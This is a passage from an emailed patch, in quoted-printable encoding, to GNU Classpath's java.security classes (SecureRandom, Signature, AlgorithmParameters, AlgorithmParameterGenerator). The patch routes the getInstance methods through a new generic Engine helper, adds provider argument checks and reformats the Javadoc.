cryptographically secure pseudo-random number + * generator (PRNG). Random (or at least unguessable) numbers are used + * in all areas of security and cryptography, from the generation of + * keys and initialization vectors to the generation of random padding + * bytes. + * + * @author Mark Benvenuto + * @author Casey Marshall */ public class SecureRandom extends Random { + + // Constants and fields. + // ---------------------------------------------------------------------= --- + + /** Service name for PRNGs. */ + private static final String SECURE_RANDOM =3D "SecureRandom"; + static final long serialVersionUID =3D 4940670005562187L; =20 //Serialized Field @@ -60,6 +70,9 @@ SecureRandomSpi secureRandomSpi =3D null; byte[] state =3D null; =20 + // Constructors. + // ---------------------------------------------------------------------= --- + /** Default constructor for SecureRandom. It constructs a=20 new SecureRandom by instantating the first SecureRandom=20 @@ -69,7 +82,7 @@ on the first call to getnextBytes it will force a seed. =20 It is maintained for backwards compatibility and programs - should use getInstance. + should use {@link #getInstance(java.lang.String)}. */ public SecureRandom() { @@ -88,20 +101,20 @@ { key =3D (String) e.nextElement(); if (key.startsWith("SECURERANDOM.")) - { - if ((classname =3D p[i].getProperty(key)) !=3D null) - { - try - { - secureRandomSpi =3D (SecureRandomSpi) Class. - forName(classname).newInstance(); - provider =3D p[i]; - return; - } - catch (Throwable ignore) { } - } - } - } + { + if ((classname =3D p[i].getProperty(key)) !=3D null) + { + try + { + secureRandomSpi =3D (SecureRandomSpi) Class. + forName(classname).newInstance(); + provider =3D p[i]; + return; + } + catch (Throwable ignore) { } + } + } + } } =20 // Nothing found. Fall back to SHA1PRNG @@ -141,15 +154,17 @@ this.provider =3D provider; } =20 - /** - Returns an instance of a SecureRandom. It creates the class - for the specified algorithm if it exists from a provider. - - @param algorithm A SecureRandom algorithm to use + // Class methods. + // ---------------------------------------------------------------------= --- =20 - @return Returns a new SecureRandom implmenting the chosen algorithm - - @throws NoSuchAlgorithmException if the algorithm cannot be found + /** + * Returns an instance of a SecureRandom. It creates the class from + * the first provider that implements it. + * + * @param algorithm The algorithm name. + * @return A new SecureRandom implmenting the given algorithm. + * @throws NoSuchAlgorithmException If no installed provider implements + * the given algorithm. */ public static SecureRandom getInstance(String algorithm) throws NoSuchAlgorithmException @@ -157,11 +172,13 @@ Provider p[] =3D Security.getProviders(); for (int i =3D 0; i < p.length; i++) { - try - { - return getInstance(algorithm, p[i]); - } - catch (NoSuchAlgorithmException ignored) { } + try + { + return getInstance(algorithm, p[i]); + } + catch (NoSuchAlgorithmException ignored) + { + } } =20 // None found. @@ -169,21 +186,26 @@ } =20 /** - Returns an instance of a SecureRandom. It creates the class - for the specified algorithm from the specified provider. - - @param algorithm A SecureRandom algorithm to use - @param provider A security provider to use - - @return Returns a new SecureRandom implmenting the chosen algorithm - - @throws NoSuchAlgorithmException if the algorithm cannot be found - @throws NoSuchProviderException if the provider cannot be found + * Returns an instance of a SecureRandom. It creates the class + * for the specified algorithm from the named provider. + * + * @param algorithm The algorithm name. + * @param provider The provider name. + * @return A new SecureRandom implmenting the chosen algorithm. + * @throws NoSuchAlgorithmException If the named provider does not imple= ment + * the algorithm, or if the implementation cannot be + * instantiated. + * @throws NoSuchProviderException If no provider named + * provider is currently installed. + * @throws IllegalArgumentException If provider is null + * or is empty. */ - public static SecureRandom getInstance(String algorithm, - String provider) throws - NoSuchAlgorithmException, NoSuchProviderException + public static SecureRandom getInstance(String algorithm, String provider= ) + throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider =3D=3D null || provider.length() =3D=3D 0) + throw new IllegalArgumentException("Illegal provider"); + Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(); @@ -192,88 +214,35 @@ } =20 /** - Returns an instance of a SecureRandom. It creates the class for - the specified algorithm from the given provider. - - @param algorithm The SecureRandom algorithm to create. - @param provider The provider to get the instance from. - - @throws NoSuchAlgorithmException If the algorithm cannot be found, or - if the class cannot be instantiated. - */ - public static SecureRandom getInstance(String algorithm, - Provider provider) throws - NoSuchAlgorithmException - { - return getInstance(algorithm, provider, true); - } - - /** - Creates the instance of SecureRandom, recursing to resolve aliases. - - @param algorithm The SecureRandom algorithm to create. - @param provider The provider to get the implementation from. - @param recurse Whether or not to recurse to resolve aliases. - - @throws NoSuchAlgorithmException If the algorithm cannot be found, - if there are too many aliases, or if the class cannot be - instantiated. - */ - private static SecureRandom getInstance(String algorithm, - Provider provider, - boolean recurse) - throws NoSuchAlgorithmException - { - String msg =3D algorithm; - for (Enumeration e =3D provider.propertyNames(); e.hasMoreElements(); = ) + * Returns an instance of a SecureRandom. It creates the class for + * the specified algorithm from the given provider. + * + * @param algorithm The SecureRandom algorithm to create. + * @param provider The provider to get the instance from. + * @throws NoSuchAlgorithmException If the algorithm cannot be found, or + * if the class cannot be instantiated. + * @throws IllegalArgumentException If provider is null. + */ + public static SecureRandom getInstance(String algorithm, Provider provid= er) + throws NoSuchAlgorithmException + { + if (provider =3D=3D null) + throw new IllegalArgumentException("Illegal provider"); + try { - // We could replace the boolean with an integer, incrementing it - // every - String key =3D (String) e.nextElement(); - if (key.startsWith("SECURERANDOM.") - && key.substring(13).equalsIgnoreCase(algorithm)) - { - try - { - Class c =3D Class.forName(provider.getProperty(key)); - return new SecureRandom((SecureRandomSpi) c.newInstance(), - provider); - } - catch (Throwable ignored) { } - } - else if (key.startsWith("ALG.ALIAS.SECURERANDOM.") - && key.substring(23).equalsIgnoreCase(algorithm) && recurse) - { - try - { - // First see if this alias refers to a class in this - // provider. - return getInstance(provider.getProperty(key), provider, false); - } - catch (NoSuchAlgorithmException nsae) - { - Provider[] provs =3D Security.getProviders(); - for (int i =3D 0; i < provs.length; i++) - { - if (provs[i] =3D=3D provider) - continue; - // Now try other providers for the implementation - try - { - return getInstance(provider.getProperty(key), - provs[i], false); - } - catch (NoSuchAlgorithmException nsae2) - { - msg =3D nsae2.getMessage(); - } - } - } - } + return new SecureRandom((SecureRandomSpi) + Engine.getInstance(SECURE_RANDOM, algorithm, provider), + provider); + } + catch (ClassCastException cce) + { + throw new NoSuchAlgorithmException(algorithm); } - throw new NoSuchAlgorithmException(algorithm); } =20 + // Instance methods. + // ---------------------------------------------------------------------= --- + /** Returns the provider being used by the current SecureRandom class. =20 @@ -318,8 +287,8 @@ (byte) (0xff & (seed >> 16)), (byte) (0xff & (seed >> 8)), (byte) (0xff & seed) - }; - secureRandomSpi.engineSetSeed(tmp); + }; + secureRandomSpi.engineSetSeed(tmp); } } =20 Index: libjava/java/security/Signature.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/Signature.java,v retrieving revision 1.4 diff -u -r1.4 Signature.java --- libjava/java/security/Signature.java 17 Nov 2002 00:10:24 -0000 1.4 +++ libjava/java/security/Signature.java 8 Mar 2003 20:50:59 -0000 @@ -1,5 +1,5 @@ /* Signature.java --- Signature Class - Copyright (C) 1999, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2002, 2003 Free Software Foundation, Inc. =20 This file is part of GNU Classpath. =20 @@ -36,43 +36,61 @@ exception statement from your version. */ =20 package java.security; + import java.security.spec.AlgorithmParameterSpec; =20 /** - Signature is used to provide an interface to digital signature=20 - algorithms. Digital signatures provide authentication and data=20 - integrity of digital data.=20 - - The GNU provider provides the NIST standard DSA which uses DSA=20 +

          Signature is an interface to digital signature algorithms. Digital + signatures provide authentication and data integrity of digital data. + =20 +

          The GNU provider provides the NIST standard DSA which uses DSA=20 and SHA-1. It can be specified by SHA/DSA, SHA-1/DSA or its=20 OID. If the RSA signature algorithm is provided then it could be MD2/RSA. MD5/RSA, or SHA-1/RSA. The algorithm must - be specified because there is no default. + be specified because there is no default.

          =20 - Signature provides implementation-independent algorithms which=20 +

          Signature provides implementation-independent algorithms which=20 are requested by the user through getInstance. It can be=20 requested by specifying just the algorithm name or by=20 - specifying both the algorithm name and provider name.=20 - - The three phases of using Signature are: - - 1. Initialing - - * It must be initialized with a private key for signing. - * It must be initialized with a public key for verifying. - - 2. Updating - - Update the bytes for signing or verifying with calls to update. - - 3. Signing or Verify the signature on the currently stored - bytes by calling sign or verify. + specifying both the algorithm name and provider name. + =20 +

          The three phases of using Signature are:

          + +
            +
          1. Initialising. The instance is initialized with either one of= : + +
              +
            • {@link #initSign(java.security.PrivateKey,java.security.SecureRando= m)} + with a private key for signing.
            • +
            • {@link #initVerify(java.security.PublicKey)} with a public key or a + certificate for verifying.
            • +
          2. + +
          3. Updating. + +

            Zero or more bytes may be added to the data being signed or verified= , + depending on how this instance was initialized.

          4. + +
          5. Signing or Verifying. + =20 +

            The signature is then either produced over the data input with any o= f + the {@link #sign()} methods, or a signatre is tested for validity with + {@link #verify(byte[])}.

          6. +
          =20 @author Mark Benvenuto + @author Casey Marshall @since JDK 1.1 */ public abstract class Signature extends SignatureSpi { + + // Constants and fields. + // ---------------------------------------------------------------------= --- + + /** Service name for signatures. */ + private static final String SIGNATURE =3D "Signature"; + /** Possible state variable which signifies if it has not been=20 initialized. @@ -99,6 +117,9 @@ private String algorithm; Provider provider; =20 + // Constructor. + // ---------------------------------------------------------------------= --- + /** Creates a new signature for this algorithm. =20 @@ -110,16 +131,18 @@ state =3D UNINITIALIZED; } =20 - /** - Gets an instance of the Signature class representing - the specified signature. If the algorithm is not found then,=20 - it throws NoSuchAlgorithmException. - - @param algorithm the name of signature algorithm to choose - @return a Signature repesenting the desired algorithm + // Class methods. + // ---------------------------------------------------------------------= --- =20 - @throws NoSuchAlgorithmException if the algorithm is not implemented = by - providers + /** + * Gets an instance of the Signature class representing + * the specified signature. If the algorithm is not found then,=20 + * it throws NoSuchAlgorithmException. + * + * @param algorithm the name of signature algorithm to choose + * @return a Signature repesenting the desired algorithm + * @throws NoSuchAlgorithmException if the algorithm is not implemented = by + * any currently installed provider. */ public static Signature getInstance(String algorithm) throws NoSuchAlgorithmException @@ -132,30 +155,38 @@ { return getInstance(algorithm, p[i]); } - catch (NoSuchAlgorithmException ignored) {} + catch (NoSuchAlgorithmException ignored) + { + } } =20 throw new NoSuchAlgorithmException(algorithm); } =20 /**=20 - Gets an instance of the Signature class representing - the specified signature from the specified provider. If the=20 - algorithm is not found then, it throws NoSuchAlgorithmException. - If the provider is not found, then it throws - NoSuchProviderException. - - @param algorithm the name of signature algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a Signature repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemented = by - the provider - @throws NoSuchProviderException if the provider is not found + * Gets an instance of the Signature class representing + * the specified signature from the specified provider. If the=20 + * algorithm is not found then, it throws NoSuchAlgorithmException. + * If the provider is not found, then it throws + * NoSuchProviderException. + * + * @param algorithm the name of signature algorithm to choose + * @param provider the name of the provider to find the algorithm in + * @return a Signature repesenting the desired algorithm + * + * @throws NoSuchAlgorithmException If the algorithm is not implemented = by + * the provider or if the implementation cannot be instatiated. + * @throws NoSuchProviderException If there is no provider named + * provider currently installed. + * @throws IllegalArgumentException If provider is null or = is + * empty. */ public static Signature getInstance(String algorithm, String provider) throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider =3D=3D null || provider.length() =3D=3D 0) + throw new IllegalArgumentException("Illegal provider"); + Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(provider); @@ -163,65 +194,47 @@ return getInstance(algorithm, p); } =20 - private static Signature getInstance(String algorithm, Provider p) - throws NoSuchAlgorithmException - { - // try the name as is - String className =3D p.getProperty("Signature." + algorithm); - if (className =3D=3D null) { // try all uppercase - String upper =3D algorithm.toUpperCase(); - className =3D p.getProperty("Signature." + upper); - if (className =3D=3D null) { // try if it's an alias - String alias =3D p.getProperty("Alg.Alias.Signature." + algorithm)= ; - if (alias =3D=3D null) { - alias =3D p.getProperty("Alg.Alias.Signature." + upper); - if (alias =3D=3D null) { // spit the dummy - throw new NoSuchAlgorithmException(algorithm); - } - } - className =3D p.getProperty("Signature." + alias); - if (className =3D=3D null) { - throw new NoSuchAlgorithmException(algorithm); - } - } - } - return getInstance(className, algorithm, p); - } - - private static Signature getInstance(String classname, - String algorithm, - Provider provider) + /** + * Gets an instance of the given signature algorithm from the + * specified provider. + * + * @param algorithm The name of the signature algorithm to create. + * @param provider The provider to get the implementation from. + * @return An appropriate instance of Signature. + * @throws NoSuchAlgorithmException If the algorithm is not + * implemented by the provider, or if the implementation + * cannot be instantiated. + * @throws IllegalArgumentException If provider is null. + * @since 1.4 + */ + public static Signature getInstance(String algorithm, Provider provider) throws NoSuchAlgorithmException { - try - { - Object o =3D Class.forName(classname).newInstance(); - Signature sig; - if (o instanceof SignatureSpi) - sig =3D new DummySignature((SignatureSpi) o, algorithm); - else - { - sig =3D (Signature) o; - sig.algorithm =3D algorithm; - } + if (provider =3D=3D null) + throw new IllegalArgumentException("Illegal provider"); + Signature result =3D null; + Object o =3D Engine.getInstance(SIGNATURE, algorithm, provider); =20 - sig.provider =3D provider; - return sig; - } - catch (ClassNotFoundException cnfe) + if (o instanceof SignatureSpi) { - throw new NoSuchAlgorithmException("Class not found"); + result =3D new DummySignature((SignatureSpi) o, algorithm); } - catch (InstantiationException ie) + else if (o instanceof Signature) { - throw new NoSuchAlgorithmException("Class instantiation failed"); + result =3D (Signature) o; + result.algorithm =3D algorithm; } - catch (IllegalAccessException iae) + else { - throw new NoSuchAlgorithmException("Illegal Access"); + throw new NoSuchAlgorithmException(algorithm); } + result.provider =3D provider; + return result; } =20 + // Instance methods. + // ---------------------------------------------------------------------= --- + /** Gets the provider that the Signature is from. =20 @@ -262,13 +275,13 @@ state =3D VERIFY; if (certificate.getType().equals("X509")) { - java.security.cert.X509Certificate cert =3D - (java.security.cert.X509Certificate) certificate; + java.security.cert.X509Certificate cert =3D + (java.security.cert.X509Certificate) certificate; =20 - boolean[]array =3D cert.getKeyUsage(); - if (array !=3D null && array[0] =3D=3D false) - throw new InvalidKeyException - ("KeyUsage of this Certificate indicates it cannot be used for digita= l signing"); + boolean[] array =3D cert.getKeyUsage(); + if (array !=3D null && array[0] =3D=3D false) + throw new InvalidKeyException + ("KeyUsage of this Certificate indicates it cannot be used for= digital signing"); } this.initVerify(certificate.getPublicKey()); } @@ -319,8 +332,8 @@ { if (state =3D=3D SIGN) { - state =3D UNINITIALIZED; - return engineSign(); + state =3D UNINITIALIZED; + return engineSign(); } else throw new SignatureException(); @@ -355,8 +368,8 @@ { if (state =3D=3D SIGN) { - state =3D UNINITIALIZED; - return engineSign(outbuf, offset, len); + state =3D UNINITIALIZED; + return engineSign(outbuf, offset, len); } else throw new SignatureException(); @@ -376,8 +389,8 @@ { if (state =3D=3D VERIFY) { - state =3D UNINITIALIZED; - return engineVerify(signature); + state =3D UNINITIALIZED; + return engineVerify(signature); } else throw new SignatureException(); --=-/14rktsROOHq8FIxovao Content-Disposition: attachment; filename=classpath.patch Content-Type: text/x-patch; name=classpath.patch; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Index: java/security/AlgorithmParameterGenerator.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/classpath/classpath/java/security/AlgorithmParameterGene= rator.java,v retrieving revision 1.4 diff -u -r1.4 AlgorithmParameterGenerator.java --- java/security/AlgorithmParameterGenerator.java 22 Jan 2002 22:27:00 -00= 00 1.4 +++ java/security/AlgorithmParameterGenerator.java 8 Mar 2003 20:59:03 -000= 0 @@ -1,5 +1,5 @@ /* AlgorithmParameterGenerator.java --- Algorithm Parameter Generator - Copyright (C) 1999 Free Software Foundation, Inc. + Copyright (C) 1999, 2003 Free Software Foundation, Inc. =20 This file is part of GNU Classpath. =20 @@ -39,20 +39,43 @@ import java.security.spec.AlgorithmParameterSpec; =20 /** - AlgorithmParameterGenerator is used to generate=20 - algorithm parameters for specified algorithms. - This class is used to generate the algorithm parameters - for a specific algorithm. - - @since JDK 1.2 - @author Mark Benvenuto + * Algorithm parameter generators produce {@link AlgorithmParameters} + * for various cryptographic algorithms. + * + *

          Parameter generation my be done in an either algorithm-independent + * or -dependent fashion. The algorithm-independent way takes only a + * single integer argument (or a default) that is typically interpreted + * as the "size" -- for example in the case of the DSA signature + * algorithm this is the size of the prime modulus, in bits. + * + *

          The algorithm-dependent approach takes a parameter specification + * as its argument (an implementation of {@link AlgorithmParameterSpec}), + * and from that produces the appropriate algorithm parameters. + * + * @see AlgorithmParameters + * @see AlgorithmParameterSpec + * @since JDK 1.2 + * @author Mark Benvenuto + * @author Casey Marshall */ public class AlgorithmParameterGenerator { + + // Constants and fields. + // ---------------------------------------------------------------------= --- + + /** Service name for algorithm parameter generators. */ + private static final String ALGORITHM_PARAMETER_GENERATOR =3D + "AlgorithmParameterGenerator"; + private AlgorithmParameterGeneratorSpi paramGenSpi; private Provider provider; private String algorithm; =20 + // Constructor. + // ---------------------------------------------------------------------= --- + /** Creates an instance of AlgorithmParameters =20 @@ -69,25 +92,19 @@ this.algorithm =3D algorithm; } =20 - /** - Returns the name of the algorithm used - - @return A string with the name of the algorithm - */ - public final String getAlgorithm() - { - return algorithm; - } + // Class methods. + // ---------------------------------------------------------------------= --- =20 /**=20 - Gets an instance of the AlgorithmParameterGenerator class=20 - which generates algorithm parameters for the specified algorithm.=20 - If the algorithm is not found then, it throws NoSuchAlgorithmExceptio= n. - - @param algorithm the name of algorithm to choose - @return a AlgorithmParameterGenerator repesenting the desired algorit= hm - - @throws NoSuchAlgorithmException if the algorithm is not implemented = by providers + * Gets an instance of the AlgorithmParameterGenerator class=20 + * which generates algorithm parameters for the specified algorithm.=20 + * If the algorithm is not found then, it throws NoSuchAlgorithmExceptio= n. + * + * @param algorithm the name of algorithm to choose + * @return a AlgorithmParameterGenerator repesenting the desired algorit= hm + * + * @throws NoSuchAlgorithmException if the algorithm is not implemented = by + * providers, or if the implmementation cannot be instantiated. */ public static AlgorithmParameterGenerator getInstance(String algorithm) throws NoSuchAlgorithmException @@ -96,65 +113,90 @@ =20 for (int i =3D 0; i < p.length; i++) { - String classname =3D - p[i].getProperty("AlgorithmParameterGenerator." + algorithm); - if (classname !=3D null) - return getInstance(classname, algorithm, p[i]); + try + { + return getInstance(algorithm, p[i]); + } + catch (NoSuchAlgorithmException ignore) + { + } } =20 throw new NoSuchAlgorithmException(algorithm); } =20 /**=20 - Gets an instance of the AlgorithmParameterGenerator class=20 - which generates algorithm parameters for the specified algorithm.=20 - If the algorithm is not found then, it throws NoSuchAlgorithmExceptio= n. - - @param algorithm the name of algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a AlgorithmParameterGenerator repesenting the desired algorit= hm - - @throws NoSuchAlgorithmException if the algorithm is not implemented = by the provider - @throws NoSuchProviderException if the provider is not found + * Get an algorithm parameter generator for the given algorithm from + * the named provider. + * + * @param algorithm the name of algorithm to choose + * @param provider the name of the provider to find the algorithm in + * @return an AlgorithmParameterGenerator for the desired algorithm + * + * @throws NoSuchAlgorithmException if the algorithm is not implemented + * by the provider, or if the implementation cannot be + * instantiated. + * @throws NoSuchProviderException If there is no provider named + * provider currently installed. + * @throws IllegalArgumentException If provider is null + * or empty. */ - public static AlgorithmParameterGenerator getInstance(String algorithm, - String provider) - throws NoSuchAlgorithmException, NoSuchProviderException + public static AlgorithmParameterGenerator + getInstance(String algorithm, String provider) + throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider =3D=3D null || provider.length() =3D=3D 0) + throw new IllegalArgumentException("Illegal provider"); + Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(); =20 - return getInstance(p. - getProperty("AlgorithmParameterGenerator." + - algorithm), algorithm, p); + return getInstance(algorithm, p); } =20 - private static AlgorithmParameterGenerator getInstance(String classname, - String algorithm, - Provider provider) - throws NoSuchAlgorithmException + /** + * Get an algorithm parameter generator for the given algorithm from + * the specified provider. + * + * @param algorithm The algorithm to get the parameter generator for. + * @param provider The provider to get the implementation from. + * @throws NoSuchAlgorithmException If the provider does not implement + * a parameter generator for the given algorithm, or if the + * implementation cannot be instantiated. + * @throws IllegalArgumentExcpetion If provider is null. + * @since 1.4 + */ + public static AlgorithmParameterGenerator + getInstance(String algorithm, Provider provider) + throws NoSuchAlgorithmException { - + if (provider =3D=3D null) + throw new IllegalArgumentException("Illegal provider"); try { - return new - AlgorithmParameterGenerator((AlgorithmParameterGeneratorSpi) Class. - forName(classname).newInstance(), - provider, algorithm); - } - catch (ClassNotFoundException cnfe) - { - throw new NoSuchAlgorithmException("Class not found"); + return new AlgorithmParameterGenerator( + (AlgorithmParameterGeneratorSpi) Engine.getInstance( + ALGORITHM_PARAMETER_GENERATOR, algorithm, provider), + provider, algorithm); } - catch (InstantiationException ie) + catch (ClassCastException cce) { - throw new NoSuchAlgorithmException("Class instantiation failed"); - } - catch (IllegalAccessException iae) - { - throw new NoSuchAlgorithmException("Illegal Access"); + throw new NoSuchAlgorithmException(algorithm); } + } + + // Instance methods. + // ---------------------------------------------------------------------= --- + + /** + Returns the name of the algorithm used + + @return A string with the name of the algorithm + */ + public final String getAlgorithm() + { + return algorithm; } =20 /** Index: java/security/AlgorithmParameters.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/classpath/classpath/java/security/AlgorithmParameters.ja= va,v retrieving revision 1.4 diff -u -r1.4 AlgorithmParameters.java --- java/security/AlgorithmParameters.java 22 Jan 2002 22:27:00 -0000 1.4 +++ java/security/AlgorithmParameters.java 8 Mar 2003 20:59:03 -0000 @@ -1,5 +1,5 @@ /* AlgorithmParameters.java --- Algorithm Parameters Implementation Class - Copyright (C) 1999 Free Software Foundation, Inc. + Copyright (C) 1999, 2003 Free Software Foundation, Inc. =20 This file is part of GNU Classpath. =20 @@ -35,26 +35,43 @@ obligated to do so. If you do not wish to do so, delete this exception statement from your version. */ =20 - package java.security; + import java.security.spec.InvalidParameterSpecException; import java.security.spec.AlgorithmParameterSpec; import java.io.IOException; =20 /** - AlgorithmParameters is the Algorithm Parameters class which=20 - provides an interface through which to modify parameters for=20 - classes. This class is used to manage the algorithm parameters. - - @since JDK 1.2 - @author Mark Benvenuto + * An opaque representation of a cryptographic algorithm's parameters. + * + *

          This class provides methods for encoding and decoding algorithm + * parameters to and from standard formats (ASN.1 for example), and + * for translating parameters to and from transparent representations + * (subclasses of {@link AlgorithmParameterSpec}). + * + * @see AlgorithmParameterGenerator + * @see AlgorithmParameterSpec + * @since JDK 1.2 + * @author Mark Benvenuto + * @author Casey Marshall */ public class AlgorithmParameters { + + // Constants and fields. + // ---------------------------------------------------------------------= --- + + /** Service name for algorithm parameters. */ + private static final String ALGORITHM_PARAMETERS =3D "AlgorithmParameter= s"; + private AlgorithmParametersSpi paramSpi; private Provider provider; private String algorithm; =20 + // Constructor. + // ---------------------------------------------------------------------= --- + /** Creates an instance of AlgorithmParameters =20 @@ -70,28 +87,17 @@ this.algorithm =3D algorithm; } =20 - /** - Returns the name of the algorithm used + // Class methods. + // ---------------------------------------------------------------------= --- =20 - @return A string with the name of the algorithm - */ - public final String getAlgorithm() - { - return algorithm; - } - - /**=20 - Gets an instance of the AlgorithmParameters class representing - the specified algorithm parameters. If the algorithm is not=20 - found then, it throws NoSuchAlgorithmException. - - The returned AlgorithmParameters must still be intialized with - init(). - - @param algorithm the name of algorithm to choose - @return a AlgorithmParameters repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemented = by providers + /** + * Returns an instance of AlgorithmParameters for the given algorithm. + * + * @param algorithm the name of algorithm to choose + * @return An AlgorithmParameters for the given algorithm + * @throws NoSuchAlgorithmException If no provider implements algorithm + * parameters for the given algorithm or if no implementation + * can be instantiated. */ public static AlgorithmParameters getInstance(String algorithm) throws NoSuchAlgorithmException @@ -100,68 +106,86 @@ =20 for (int i =3D 0; i < p.length; i++) { - String classname =3D - p[i].getProperty("AlgorithmParameters." + algorithm); - if (classname !=3D null) - return getInstance(classname, algorithm, p[i]); + try + { + return getInstance(algorithm, p[i]); + } + catch (NoSuchAlgorithmException ignored) + { + } } =20 throw new NoSuchAlgorithmException(algorithm); } =20 - /**=20 - Gets an instance of the AlgorithmParameters class representing - the specified algorithm parameters from the specified provider.=20 - If the algorithm is not found then, it throws=20 - NoSuchAlgorithmException. If the provider is not found, then=20 - it throws NoSuchProviderException. - - The returned AlgorithmParameters must still be intialized with - init(). - - @param algorithm the name of algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a AlgorithmParameters repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemented = by the provider - @throws NoSuchProviderException if the provider is not found + /** + * Returns an instance of AlgorithmParameters for the given algorithm + * from the named provider. + * + * @param algorithm the name of algorithm to choose + * @param provider the name of the provider to find the algorithm in + * @return a AlgorithmParameters repesenting the desired algorithm + * @throws NoSuchAlgorithmException if the algorithm is not implemented = by + * the provider, or if the implementation cannot be instantiated= . + * @throws NoSuchProviderException If no provider named provider + * is installed. + * @throws IllegalArgumentException If provider is null + * or is empty. */ - public static AlgorithmParameters getInstance(String algorithm, - String provider) throws - NoSuchAlgorithmException, NoSuchProviderException + public static AlgorithmParameters + getInstance(String algorithm, String provider) + throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider =3D=3D null || provider.length() =3D=3D 0) + throw new IllegalArgumentException("Illegal provider"); + Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(); =20 - return getInstance(p.getProperty("AlgorithmParameters." + algorithm), - algorithm, p); + return getInstance(algorithm, p); } =20 - private static AlgorithmParameters getInstance(String classname, - String algorithm, - Provider provider) - throws NoSuchAlgorithmException + /** + * Returns an instance of AlgorithmParameters for the given algorithm + * from the specified provider. + * + * @param algorithm the name of algorithm to choose + * @param provider the name of the provider to find the algorithm in + * @return a AlgorithmParameters repesenting the desired algorithm + * @throws NoSuchAlgorithmException if the algorithm is not implemented = by + * the provider, or if the implementation cannot be instantiated= . + * @throws IllegalArgumentException If provider is null. + */ + public static AlgorithmParameters + getInstance(String algorithm, Provider provider) + throws NoSuchAlgorithmException { - + if (provider =3D=3D null) + throw new IllegalArgumentException("Illegal provider"); try { - return new AlgorithmParameters((AlgorithmParametersSpi) Class. - forName(classname).newInstance(), - provider, algorithm); + return new AlgorithmParameters((AlgorithmParametersSpi) + Engine.getInstance(ALGORITHM_PARAMETERS, algorithm, provider), + provider, algorithm); } - catch (ClassNotFoundException cnfe) + catch (ClassCastException cce) { - throw new NoSuchAlgorithmException("Class not found"); - } - catch (InstantiationException ie) - { - throw new NoSuchAlgorithmException("Class instantiation failed"); - } - catch (IllegalAccessException iae) - { - throw new NoSuchAlgorithmException("Illegal Access"); + throw new NoSuchAlgorithmException(algorithm); } + } + + // Instnace methods. + // ---------------------------------------------------------------------= --- + + /** + Returns the name of the algorithm used + + @return A string with the name of the algorithm + */ + public final String getAlgorithm() + { + return algorithm; } =20 /** Index: java/security/Engine.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: java/security/Engine.java diff -N java/security/Engine.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/security/Engine.java 8 Mar 2003 20:59:04 -0000 @@ -0,0 +1,152 @@ +/* Engine -- generic getInstance method. + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package java.security; + +/** + * Generic implementation of the getInstance methods in the various + * engine classes in java.security. + *

